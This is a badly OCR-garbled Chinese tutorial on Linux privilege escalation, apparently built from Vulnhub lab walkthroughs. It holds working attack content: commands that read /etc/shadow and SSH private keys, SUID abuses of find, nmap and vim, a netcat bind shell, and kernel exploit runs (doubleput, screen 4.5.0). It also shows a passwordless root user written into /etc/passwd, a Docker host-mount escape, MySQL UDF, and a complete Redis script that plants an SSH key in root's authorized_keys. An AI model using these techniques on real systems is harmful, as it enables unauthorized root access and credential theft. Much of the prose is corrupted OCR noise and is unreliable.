X Linux IENXHIEERESE - STHHX

FERIALX, SERZ ALK

mOnk3y@DO0g3

RXAEHFTT 9 1 Vulnhub B4/, BERHRSUREREBE, HiEERXRN—R
REMFIEC (WIS EENBNNARE, JCREREKE, EaRR2Lt, 7E
I FSLE.

ZICEA ZETEXRENE (BEMSULIREEZIFIRN, BERERENES (Bt
AT, NIOBEAT, IEEEESEME: https://blog.g0tmilk.com/2011/08/basic-
linux-privilege-escalation/ (https://blog.g0tmiTk.com/2011/08/basic-linux-privilege-

escalation/)

£ Linux &G, 15 -a1 BIATEESIHXEFERISIR. XEFHA kali RFERET.

drwxr-xr-x 2 kali kali 4096 Jan 27 12:52 Downloads

-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html

-rw-r--r-- 1 root root 153600 May 5 09:42 flag

Irwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
-rw-r--r-- 1 kali kali 188 May 14 08:29 flagg.zip

-rw-r--r-- 1 root root 1807342 Apr 20 06:52 get-pip.py

drwx------ 3 kali kali 4096 Jun 18 21:35 .gnupg


https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt

-rw-r--r-- 1 root root 12396 Jun 11 00:13 hydra.restore
-PW------- 1 kali kali 5202 Jun 18 21:35 .ICEauthority
-rw-r--r-- 1 root root 2046 Jun 10 22:58 jim_pass.txt

XEFARHTATR, BIINEEEE.

-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt

XEALID S 7 NFER,

L %_ZH%HE -rw-r--r--

T
e

¢ : REER

1 R

o fRER

c : REFHRE

BREEIL 2BI=1—E:
ru-r--r--  UFRIUGRTBAVER

roEENE, Wi MHREHER. - REIRBEMNR, x  JRRAHIT



rw- X FTAEERIIR.

r--  RAGRTEERIABFPAISR.,

r--  REMABRIAFIINR.

FAFE 1

o WMIRNHRBFIAR, FREARTHFERIM

o WMRNMHRBRTE, XNMEIEMRTX N IFAIREEENE

FZHEYE root . FMZERTEE N root FBF

FIUHEEYE root . RN SUFFIEE S root H

FBRhAHYE s« FTRXXHFRIRNAZLFT, MRA—PBER, NI 4096,

FNABIERT 85 kis

B EREIERT I ER

MRFAER, r TRALBANZBERHTER. wRXETLUHTEN. x FRALL
HANXTEFR

FFRy, AJLAREERE, r=4w=2x=1,

HRINET 80 g 443 iniE@T web RS ER, BERE www-data . FEHIfT root R
THI—TaSEEIER / root THEEXY, XNMHRFEERN, £ root 8ERT, EAJLUE
i msfvenom AR EMEEI G EE—LIEEE]. HINAR, FEEMiROFRE, K8



FELHl,

BRI, RN EThid—E81E.

KnEERiR, EENARRERES.

RIBRE, BHTRONERES.

EANER: XNRRREETEREEERAA BRI / WX / 54/ AR / AR / T=
T / FFEFaimn /BRI / Bt / F, BABFUTERGS / BZ / shell / HRITEHR
AR, =L, AEH—EFA.

BilEERE
Rz, RIERF, "&HIER

uname -a TENFRE TN RSAE R
uname -r WAZ A

uname -n RGFHA.

uname -m BERFNLLEN (6461/32f0)
hostname REFHA

cat /proc/version WS B
cat /etc/*-release KSR
cat /etc/issue NRER

cat /proc/cpuinfo CPUME
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat

1ls /boot | grep vmlinuz-



AR#aFA

cat /etc/passwd YIH RS LA P
cat /var/mail/root
cat /var/spool/mail/root

cat /etc/group I RS LT A

grep -v -E "~#" /Jetc/passwd | awk -F: '$3 == @ { print $1}" B H R A IR K
whoami HE HHTH

w HEH AT B, MATEEM A4

last RIGEFH P NGIE

lastlog e A B SR E B

lastlog -u %username% 4 F8EH A LIREFNIER
lastlog |grep -v "Never" LLRIZERH 5%

RBPRIER

whoami HHTH 44

id HETH I ER

cat /etc/sudoers EH Y Lroot S AT
sudo -1 AT P LL L root B 4 AT A

IMRER

env BRI AR

L il



e

set ILSEI AR B
echo %PATH B{4%{5E

history SR HTH P R Ay A e

pwd i TAEH

cat /etc/profile ERINIAARGEE
cat /etc/shells WAl H i shellrc

cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc

cat ~/.bash_logout

HFEFIARSS

ps aux
ps -ef
top

cat /etc/services

BELL root iIz{THIHE

ps aux | grep root

ps -ef | grep root

SRR

1s -alh /usr/bin/

1s -alh /sbin/

1s -alh /var/cache/yum/
dpkg -1

ARSS / i

TA =t N e 3 A LL r 4 =

-—— NP EERN__ N A Y|



NEAIXBNLEZRRSSEE, H—Ea8imiaRYmET.

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

1s -aRl /etc/ | awk '$1 ~ /A *p.*/

itEHESS

crontab -1

1s -alh /var/spool/cron
1ls -al /etc/ | grep cron
1ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab



cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

BLIXFRRES

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]

find , -name "*.php" -printe | xargs -0 grep -i -n "var $password"

Vulnhub ERYFEHELIAIRIE, EIBMAAERmER T, RARMALIED ssh BT, HITH
RSB,

B ssh #A%H

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

SE5SEtznEENEMAPkEEN



lsof -i

lsof -i :80

grep 80 /etc/services
netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --1list

chkconfig --list | grep 3:on
last

W

BHE3



cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat
cat

cat

/var/log/boot.log
/var/log/cron
/var/log/syslog
/var/log/wtmp
/var/run/utmp
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/auth.log
/var/log/chttp.log
/var/log/cups/error_log
/var/log/dpkg.log
/var/log/faillog
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/lastlog



cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

1s -alh /var/lib/dhcp3/

1s -alh /var/log/postgresql/

1s -alh /var/log/proftpd/

1s -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, mess

ages, syslog, udev, wtmp

2253 shell

python -c 'import pty;pty.spawn("/bin/bash")’
echo os.system('/bin/bash")
/bin/sh -i

A2 SUID && GUID

SE AR https://blog.g0tmiTk.com/2011/08/basic-linux-privilege-escalation/
(https://blog.g0tmilk.com/2011/08/basic-linux-privilege-escalation/)


https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

find / -perm -1000 -type d 2>/dev/null
of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null
arted 1it.

find / -perm -u=s -type f 2>/dev/null
arted 1it.

# Sticky bit - Only the owner of the directory or the owner

# SGID (chmod 2000) - run as the group, not the user

# SUID (chmod 4000) - run as the owner, not the user

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in "“locate -r "bin$""; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null;

# Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin

y other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic Links, only 3 folders deep, list with

etail and hide any errors (e.g. permission denied)

find / -perm -g=s -0 -perm -4000 ! -type 1 -maxdepth 3 -exec 1ls -1d {} \; 2>/dev/null

8095 / WTEZR

find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

find / -perm -o x -type d 2>/dev/null

# world-writeable folders
# world-writeable folders

# world-writeable folders

# world-executable folders

who st

who st

done

and an

more d



find / \( -perm -o w -perm -0 x \) -type d 2>/dev/null # world-writeable & executable folders

SEXFINTIR

find / -name perl*
find / -name python*

find / -name gcc*

IRARE
SUID 2%

Ha2 suid? suid 2FR2Z Set owner User ID up on execution, 1X:2 Linux {50147
BN, BEEER AR R TIX MEFIIHER LIBZEFTEE / 2
FR, FEITERIE, REEFIATEER 0 SaEf super user, ERYHHA suid
BPR, ZAALUR,

XEBHETF P IERY https://www.leavesongs.com/PENETRATION/linux-suid-privilege-
escalation.html (https://www.leavesongs.com/PENETRATION/linux-suid-privilege-
escalation.html)

H IUAYET FSRERMAY Linux BIHATIES
Nmap, Vim, find, bash, more, less, nano, cp

BEALA suid IRAYRIHRITE:


https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

find / -perm -u=s -type f 2>/dev/null

e find

www-data@DC-1:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount

/bin/ping

/bin/su

/bin/ping6

/bin/umount

/usr/bin/at

/usr/bin/chsh

/usr/bin/passwd

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/gpasswd

/usr/bin/procmail

/usr/bin/find

/usr/sbin/exim4

fusr/1lib/pt_chown
fusr/1lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-793add5c-ba7a-
1.png)

1s -al /usr/bin/find


https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-793add5c-ba7a-1.png

-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

SLAIRER find ASRERGHER G, B, BBAITHe<SrIgED. Eitb, RE
B/9{EF SUID fBRiE T, METLUEE find HTHISMSEBIELL root BHEIET.

tkan: DC -1 EEANHEFIF find a3S$#1T root AFPRHITHS

www-data@DC-1:/var/www$ find aaa -exec cat /root/thefinalflag.txt \;
find aaa -exec cat /root/thefinalflag.txt \;
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-796d1704-ba7a-
1.png)

jCE_‘ZBﬁj\ Linux ,"%Q}E%‘B?%%T nc, @EFH find aaa - exec netcat -lvp 5555 -e /bin/sh \; EDEIEEI}]&
58 root shell

e nmap
EHA nmap BB EER,, version 2.02~5.21 (5.2.0) , iXEFF metasploitable2 &&=

namp -v B& nmap RAER

nmap --interactive


https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-796d1704-ba7a-1.png

nefadmin@netasploitable:™5 nmap -V

Mmap version 4.53 ( http:- rinsecure.orqg )
msfadmin@metasploitable: ™5 nmap ——interactive

Starting Hmap V. 4.53 ( http:rrinsecure.org )

Welcome to Interactive Mode —— press h <{enter> for help
nmap> 'sh

=h-3.2# whoami

root

=h-3 .24

(https://xzfile.aliyuncs.com/media/upload/picture/20200620164705-9e3b1b62-b2d2-
1.png)

HKEEXRAY metasploit FFIEFIA SUID nmap E1NAY exp
search nmap %E*U}Eﬁ exploit/unix/local/setuid_nmap ;Fﬁi@*”ﬁﬁﬁ%ﬂ&ﬂﬂﬁj
5.2.0 Zfa, nmap XTI HUTHIASKIZ L.

# nse WA, shell.nse
os.execute('/bin/sh")

# nmap FEM

nmap --script=shell.nse


https://xzfile.aliyuncs.com/media/upload/picture/20200620164705-9e3b1b62-b2d2-1.png

# ERLERTTIRIILinuX I GELTERAI . RIFIRFEFE bp i
BE

echo 'os.execute("/bin/sh")"' > getshell

sudo nmap --script=getshell

2% DC 6 #B#/l: https://hack-for.fun/posts/8886.htmI#%E6%8F%90%E6%9D %83
(https://hack-for.fun/posts/8886.html#%E6%8F%90%E6%9D%83)

e vim
GNER vim 2@ SUID 1517, BS4& root FIFRIINER. BIIEENRA root BEIEENAYS (Y.
vim /etc/shadow
vim i=17 shell
vim

:set shell=/bin/sh
:shell

EIE, WESKMHERY less #1 more #BAT,

FIR AR

Etan DC 3 41, MEFBRFNZRREAH TRN.

www-data@DC-3:/$ cat /etc/issuejuname -a

cat /etc/issue;uname -a
Ubuntu 16.84 LTS \n \1



https://hack-for.fun/posts/8886.html#%E6%8F%90%E6%9D%83
https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-79a162ac-ba7a-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-79a162ac-ba7a-
1.png)

searchsploit Ubuntu 16.04

B exp TETR, #BE, %%, 17, BIH get root fUR.

tar xvf exploit.tar

www-data@DC-3:/tmp/ebpf_mapfd_doubleput_exploit$ ./doubleput
./doubleput

starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.

suid file detected, launching rootshell...

we have root privs now...
root@C-3:/tmp/ebpf_mapfd_doubleput_exploit# id

id

uid=0(root) gid=0(root) groups=0(root),33(www-data)

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-79fd0a12-ba7a-
1.png)

https:.//www.exploit-db.com/exploits/39772 (https://www.exploit-
db.com/exploits/39772)

EEKRZ SRR CVE-2016-5195, PEA4IRIE. (Linux kernel >=2.6.22 #H Android th55/

e https://github.com/timwr/CVE-2016-5195 (https://github.com/timwr/CVE-2016-
5195)


https://xzfile.aliyuncs.com/media/upload/picture/20200630103617-79a162ac-ba7a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-79fd0a12-ba7a-1.png
https://www.exploit-db.com/exploits/39772
https://github.com/timwr/CVE-2016-5195

e https://github.com/gbonacini/CVE-2016-5195
(https://github.com/gbonacini/CVE-2016-5195)

o EUIS*E: https://www.jianshu.com/p/df72d1eele3e
(https://www.jianshu.com/p/df72d1eele3e)

Hitt&isiE -
Linux Kernel 3.13.0 <3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Root
Shell

https://www.exploit-db.com/exploits/37292/ (https://www.exploit-
db.com/exploits/37292/)

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) — ‘overlayfs’ Local Root Exploit

https://www.exploit-db.com/exploits/39166/ (https://www.exploit-
db.com/exploits/39166/)

Linux Kernel 4.3.3 - 'overlayfs' Local Privilege Escalation

https://www.exploit-db.com/exploits/39230/ (https://www.exploit-
db.com/exploits/39230/)

. ARz exploit IRBXIE, BRIBERERIRERS.

#F root TZEBNIT


https://github.com/gbonacini/CVE-2016-5195
https://www.jianshu.com/p/df72d1ee1e3e
https://www.exploit-db.com/exploits/37292/
https://www.exploit-db.com/exploits/39166/
https://www.exploit-db.com/exploits/39230/

EEERG, ME— A, il py,sh FEHER— 1w, XPXHEALUL root BHiEIT, &
EREZRBRER THITRIE, BIITUEBIESHAAS / BEEEMTX NS, FIBGTk
TEURE, SKHITRIL

EbanE Ay :
o SA— root SMHIPRAIFEFHAN / etc/passwd {4

XELL DC 4 H9flF:

:/% sudo -1
Matching Defaults entries for charles on dc-4:
env_reset, mail_badpass,
secure_naths/usr/local fshin\: /usrfAocal fhind - fusr/shin\: /usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4&:
(root) NOPASSWD: /usr/bin/teehee

:/$ 1

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-7a2357bc-ba7a-
1.png)

teehee -a FHINRIATIEINES— 34+

BB T /etc/passwd B NFEERIIEN:

username:password:User ID:Group ID:comment:home directory:shell

$ sudo teehee -a fetc/passwd
p:@:root:/root:/bin/bash

p:@:root:/root:/bin/bash



https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-7a2357bc-ba7a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-7a3b91c4-ba7a-1.png

$ su aaa

root@dc-4: /home# |

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-7a3b91c4-ba7a-
1.pnQ)
PXINERENE! root fUR. KRB FEERE, MOBEARZE,
FIAIMRE SR

paH & Linux 1 Unix #MERRFRIIMNETE, BISEFETHITEFRIATE bin # sbin B
R. BAPERR TR, BSEE PATH TERMAAFHITAISS, FHMA shell
BIRBERERAHITG ., BRAFBEIERRS /sbin 8/ usr/sbin 28, LMETRHERE

e PHIHIT.

&M echo A< B/~=AI PATH INEL =

msfadmin@metasploitable:™$ echo $PATH

“usr-localssbin: usrslocalsbin: usrsshin: usrs/bin:ssbin: bin: usnsganes

(https://xzfile.aliyuncs.com/media/upload/picture/20200620164053-c0c00b12-b2d1-
1.png)

SNRIRFE PATH LEHEEF| . |, WEHREERAFPILMIERIERHRIT SHSINUG: / B
A FGmIE— AT AT shell,

#include<unistd.h>

void main()


https://xzfile.aliyuncs.com/media/upload/picture/20200630103618-7a3b91c4-ba7a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200620164053-c0c00b12-b2d1-1.png

{

setuid(9);

setgid(9);

system("cat /etc/passwd");
}

// aaa.c

:~%$ gcc aaa.c -o shell
aaa.c:0In function ‘main’:
aaa.c:6:2: implicit declaration of function ‘system’ [
]

6 ("cat /etc/shadow");

:~% chmod u+s shell
+=$ 1s -la shell
-rwsr-xr-x || kali kali 16712 Jun 19 21:52 shell

~$ 1

(https://xzfile.aliyuncs.com/media/upload/picture/20200620164152-e392¢15¢-b2d1-
1.png)

AU TR,
REEFCHNRILIRIIES s U, B suid,

MAEFRKNEBRES LR find / -perm -u=s -type f 25/dev/null REFALA suid BAEISY,
K2 BidRIFERY shell eTHTEEERR.


https://xzfile.aliyuncs.com/media/upload/picture/20200620164152-e392c15c-b2d1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200620164258-0afb894a-b2d2-1.png

$ find / -perm -u=s -type f 2>/dev/null
/home/kali/shell
Jusr/1ib/dbuf 8 /dbus-daemon-launch-helper
/usr/tib/policyki/polkit-agent-helper-1
/usr/lib/openssh/ssh=igsign
Jusr/1ib/chromium/chrome="S8gdhox

Jusr/lib/eject/dmcrypt-get-deviig
/usr/lib/xorg/Xorg.wrap
Jusr/bin/passwd
Jusr/bin/fusermount
Jusr/bin/mount
Jusr/bin/kismet_cap_nxp_kwilz

(https://xzfile.aliyuncs.com/media/upload/picture/20200620164258-0afb894a-b2d2-
1.png)

SHIRERLIS%E:  https://xz.aliyun.com/t/2767 (https://xz.aliyun.com/t/2767)

HRFERERNGES

BINIRSOHRE, BT —TandHNiRE. AIERIISRER TERLL
}EH searchsploit ;Eé'ﬁﬂ?,EﬁFIJFHEI’\J exp.

XELA DC 5 #EN A%

1s -al

ww-datagdc-5:~/html$ 1lss —aall //bbiinn//ssuu

-rwsr-xr-x 1 root root 40168 May 18 2817 /bin/su

www-datagdc-5:~/html$ *“[[Als -al /bin/su****"

1s: cannot access /b: No such file or directory
www-datagdc-5:~/html$ 1lss —aall /fuussrr//bbiinn//aatt



https://xzfile.aliyuncs.com/media/upload/picture/20200620164258-0afb894a-b2d2-1.png
https://xz.aliyun.com/t/2767
https://xzfile.aliyuncs.com/media/upload/picture/20200630103619-7a819cc8-ba7a-1.png

J/bbiinn//ssccrreeeenn—&4 .. 66 .. 00

No such file or directory
www -datapdc-S—thtmtd—tlss aall //bbiinn//ssccrreeeenn—4&4 ..55..00

-rwsr-xr-x 1) root root 1441352 Apr 19 2019 /bin/screen-4.5.0
ww -data@dc-p:~/html$ JJ

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103619-7a819cc8-ba7a-
1.png)

m@nk3y@MOnk3y screen 4.5.0

GNU - Local Privilege Escalation
- Local Privilege Escalation (PoC)

Shellcodes: No Results

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103619-7acd7cec-ba7a-
1.png)

AJLAET cat {EI— XN UFEAR,
WA E—1 http BRSS:

python -m SimpleHTTPServer

15 exploit F§ wget FEHEIAHATAY /tmpy HRTF. ARHIT s X, BEE /et BRT
]:}tl,?i' ./rootshell BA] get root shell,


https://xzfile.aliyuncs.com/media/upload/picture/20200630103619-7a819cc8-ba7a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200630103619-7acd7cec-ba7a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200630103620-7afc19bc-ba7a-1.png

wew -datafdc-5: /etct umask 000

umask 000

wew -dataddc-5:/etc$ screen -D -m -L id.so.preload echo -ne
D -m -L id.so.preload echo -ne- "\xPa/tmp/libhax.so"

ignored.
[+] done!
ww -dataddc-5:/etc$ echo "[+] Triggering ...
echo! ®[+] Triggering...."
[+] Triggering...
wmi -dataddc-5:/etc$ screen -1s
screen -1s
No Sockets found in /tmp/screens/S-www-data.

wew -datafdc-5:/etc$ cd /tmp

cd /tmp

www -dataddc-5:/tmp$ ./roots

./roots

bashi-./roots: No such file-or directory

wew -datagdc=5:/tmp$ ./rootshell

./rootshell

# id

id

uid=@(root) gid=0(root) groups=0(root),33(www-data)

il |

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103620-7afc19bc-ba7a-
1.png)

B ZBIERY sudo 12X, CVE-2019-14187, RAARIILCAIEH.


https://xzfile.aliyuncs.com/media/upload/picture/20200630103620-7afc19bc-ba7a-1.png

Sudo RIZLTRE “superuserdo” , BR Linux REEEES, RIFHPEARETHR
IMRRYRIR PR RPN TN AEFEE <. BELL root RS0 TS,
BATHD root BFRIERINEIENE, RNESREN.

FIFIRUIE

e sudo -v < 1.8.28

o XIEXHRIAFRER
o UFHIAFEET sudo RPRFIE

EW&*: https://www.cnblogs.com/ethtool/p/12176730.html
(https://www.cnblogs.com/ethtool/p/12176730.html)

FAE=IRSEN
Docker Z8$2Y

SEVE: https://blog.csdn.net/qq_41918771/article/details/103666135
(https://blog.csdn.net/qq 41918771 /article/details/103666135)

docker HRRFHITis SHRMES BTSRRI sudo, FEAIRITEHREEMWRY
JRE, Docker 55 FE docker BRYFFHEZ RN (BN RAIIERE IR
/var/run/docker.sock M) . BAIAER T, Docker 4B ESENARI— docker
FAF4ERY, Docker SFFi#FHIERTCIT root FIF#0 docker

‘BR8] Docker, SRRt Docker tBRFN4EFI P FC R IAIEE o] LARGEIRENAY

v ~+ IR F=RII7 -


https://www.cnblogs.com/ethtool/p/12176730.html
https://blog.csdn.net/qq_41918771/article/details/103666135

TOUL IXPRZEDY TN

EBAFHRIT: BIAERIE root AR,

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

docker run(-$) IMAGE [COMMAND] [ARG...] EfT— B8

-d EESHETTEESRERS, Hilbfalse

-i F¥IFSTDIN, BFE#Ha3es, #ilhfalse

-t SEtyiRE, HULSEEERRESR, Bilbfalse
-u, —-user="" EEESENERF

-a, -—-attach=[] SEREE (wiAEkldocker run -diSFHIEEE)
W BEESEN1LEER

- EERCPUTIE, ECPUEEIZEFEA

-e, —-env=[] IBENEREZE, ERPULIEREZNEEES
-m EEESENIRE LR

-P, --publish-all=false IEEEszE2EnIRL
-p, --publish=[] EEEEEENRI
-h EEERENEE

-v, —-volume=[] LERERFEE, ERAEENEN ER

r ra AA A B A =t L8 Sl S BE L S L =1 T S RS L A 1 T


https://xzfile.aliyuncs.com/media/upload/picture/20200630103620-7b334f7c-ba7a-1.png

-=wnllimes-rrom=I | TEESSITEV EATRESS T HUFF T RIIlEssH I = 10-F =

(https://xzfile.aliyuncs.com/media/upload/picture/20200630103620-7b334f7c-ba7a-
1.png)

MySQL UDF i&4%

ZRIE JarivsO) CTF BA— &R, BEEHA T UDF, BRI E —XBREIXRA.

show variables like '%compile%’;

show variables like 'plugin%';

REXEBE— PRSI, show global variables like 'secure%’ secure file priv i@ EEMRAE (B
BEE S / BANG

= secure_file_priv B9{E79 NULL , FRIRH mysqld RATFSEAN | S, HAITER
X

2 secure file_priv Y& /tmp/ , FRIRH mysgld IS | SHREERLETE /tmp/
BRT, HATBFIERIN

% secure_file_priv B{ERBEMNER, FAX mysqld IS | SHMEREI, AT

G

MSF ':F'E"J exploit/multi/mysql/mysql_udf_payload ,ﬁ;@*UﬁﬁTﬁﬂ&ﬂL\)\ﬁﬁ'} UDF ]:,:%7‘:2
1%}% select sys_exec('whoami'); E!Z select sys_eval('whoami'); ;E#Wj_',z%gffh%/é\

Redis #ft£ getshell


https://xzfile.aliyuncs.com/media/upload/picture/20200630103620-7b334f7c-ba7a-1.png

N5 Redis LA root B3izf7, BEOLIFIA Redis 5 SSH N A4, BiEET
SSH A BERTERSE. Redis BUA4PERE 6379 isH, HEIKEFBIAILE, TR
BHTHRRENER T, HIATUEEEIEENE R FEELA Redis RSBHHT
FESIRE,

FBXFIA exp: https://github.com/Xyntax/POC-
T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/redis-sshkey-getshell.py
(https://github.com/Xyntax/POC-

T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/redis-sshkey-
getshell.py)


https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/redis-sshkey-getshell.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# project = https://github.com/Xyntax/POC-T
# author = 1i@cdxy.me

redis getshell expliot (ssh authorized_keys)

import redis

import paramiko

from plugin.util import host2IP

from plugin.util import randomString
from plugin.util import checkPortTcp

from paramiko.ssh_exception import SSHException
public_key = 'ssh-rsa =====

private_key =

import time



def poc(url):

url = host2IP(url)
ip = url.split(':')[0]
port = int(url.split(':")[-1]) if ':"' in url else 6379
try:

if not checkPortTcp(ip, 22):

return False
r = redis.Redis(host=ip, port=port, db=0)

if 'redis_version' in r.info():

key = randomString(10)
r.set(key, '\n\n' + public_key + '\n\n")
r.config_set('dir', '/root/.ssh')

r.config_set('dbfilename', 'authorized_keys')

=

.save()
.delete(key) # /FBRYL
r.config_set('dir', '/tmp")

=

time.sleep(5)
if testConnect(ip, 22):
return True
except Exception:
return False

return False

def testConnect(ip, port=22):

try:
s = paramiko.SSHClient()
s.load_system_host_keys()
s.connect(ip, port, username='root', pkey=private_key, timeout=10)
s.close()
return True

except Exception, e:
if type(e) == SSHException:

return True



‘eLuritl ralsc

Hith......

—RRERERT, AZEREES=SRSFRNIERES.

s RRAEERBLE, EMRAIECE SUID HT3UH,

o —LRWELISHIRAAHITRIG, MZEGEER.
o HUEHEFFCEERD root TS, MASE,

o B8 / ARFECHRRENEAY, HRRERFMARIIR.

o Linux 2.2 ZFRILAAESIEIN capabilities, LA p IMEEZEEAILE nmap IEIMzES
1,

o FHRFE=FIRSS, EEENIFRE

sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap

nmap --privileged -sS 192.168.1.1

https://man7.org/linux/man-pages/man7/capabilities.7.html
(https://man7.org/linux/man-pages/man7/capabilities.7.html)

BEANRFES, KEEET—IAHMANER, LUGERTHEASXE, BREZDINERTR,
REHARIN A LSRR IRAAAZ. Frd, ARERENIE, OB IRNIZERZRIIE!

o https://blog.csdn.net/qq 43386754/article/details/85257620
(https://blog.csdn.net/qq_43386754/article/details/85257620)


https://man7.org/linux/man-pages/man7/capabilities.7.html
https://blog.csdn.net/qq_43386754/article/details/85257620
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://blog.g0tmilk.com/2011/08/basic-linux-privilege-escalation/
(https://blog.g0tmilk.com/2011/08/basic-linux-privilege-escalation/)

https://www.cnblogs.com/nul1/p/11309287.html
(https://www.cnblogs.com/nul1/p/11309287.html)

https://blog.csdn.net/swty3356667/article/details/84330144
(https://blog.csdn.net/swty3356667/article/details/84330144)

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-
escalation.html (https://www.leavesongs.com/PENETRATION/linux-suid-
privilege-escalation.html)

https://www.freebuf.com/articles/system/149118.html
(https://www.freebuf.com/articles/system/149118.html)

https://www.hacking8.com/MiscSecNotes/linux-priv.html
(https://www.hacking8.com/MiscSecNotes/linux-priv.html)

https://www.exploit-db.com/exploits/39772 (https://www.exploit-
db.com/exploits/39772)

https://www.jianshu.com/p/df72d1eele3e
(https://www.jianshu.com/p/df72d1eele3e)

https://blog.csdn.net/qq 27446553/article/details/80773255
(https://blog.csdn.net/qq_27446553/article/details/80773255)

https://www.freebuf.com/articles/system/173903.html

ra e~~~


https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://www.cnblogs.com/nul1/p/11309287.html
https://blog.csdn.net/swty3356667/article/details/84330144
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
https://www.freebuf.com/articles/system/149118.html
https://www.hacking8.com/MiscSecNotes/linux-priv.html
https://www.exploit-db.com/exploits/39772
https://www.jianshu.com/p/df72d1ee1e3e
https://blog.csdn.net/qq_27446553/article/details/80773255
https://www.freebuf.com/articles/system/173903.html

(https:.//www.treebut.com/articles/system/1/3903.nhtml)

e https://blog.csdn.net/qq 36119192/article/details/84863268
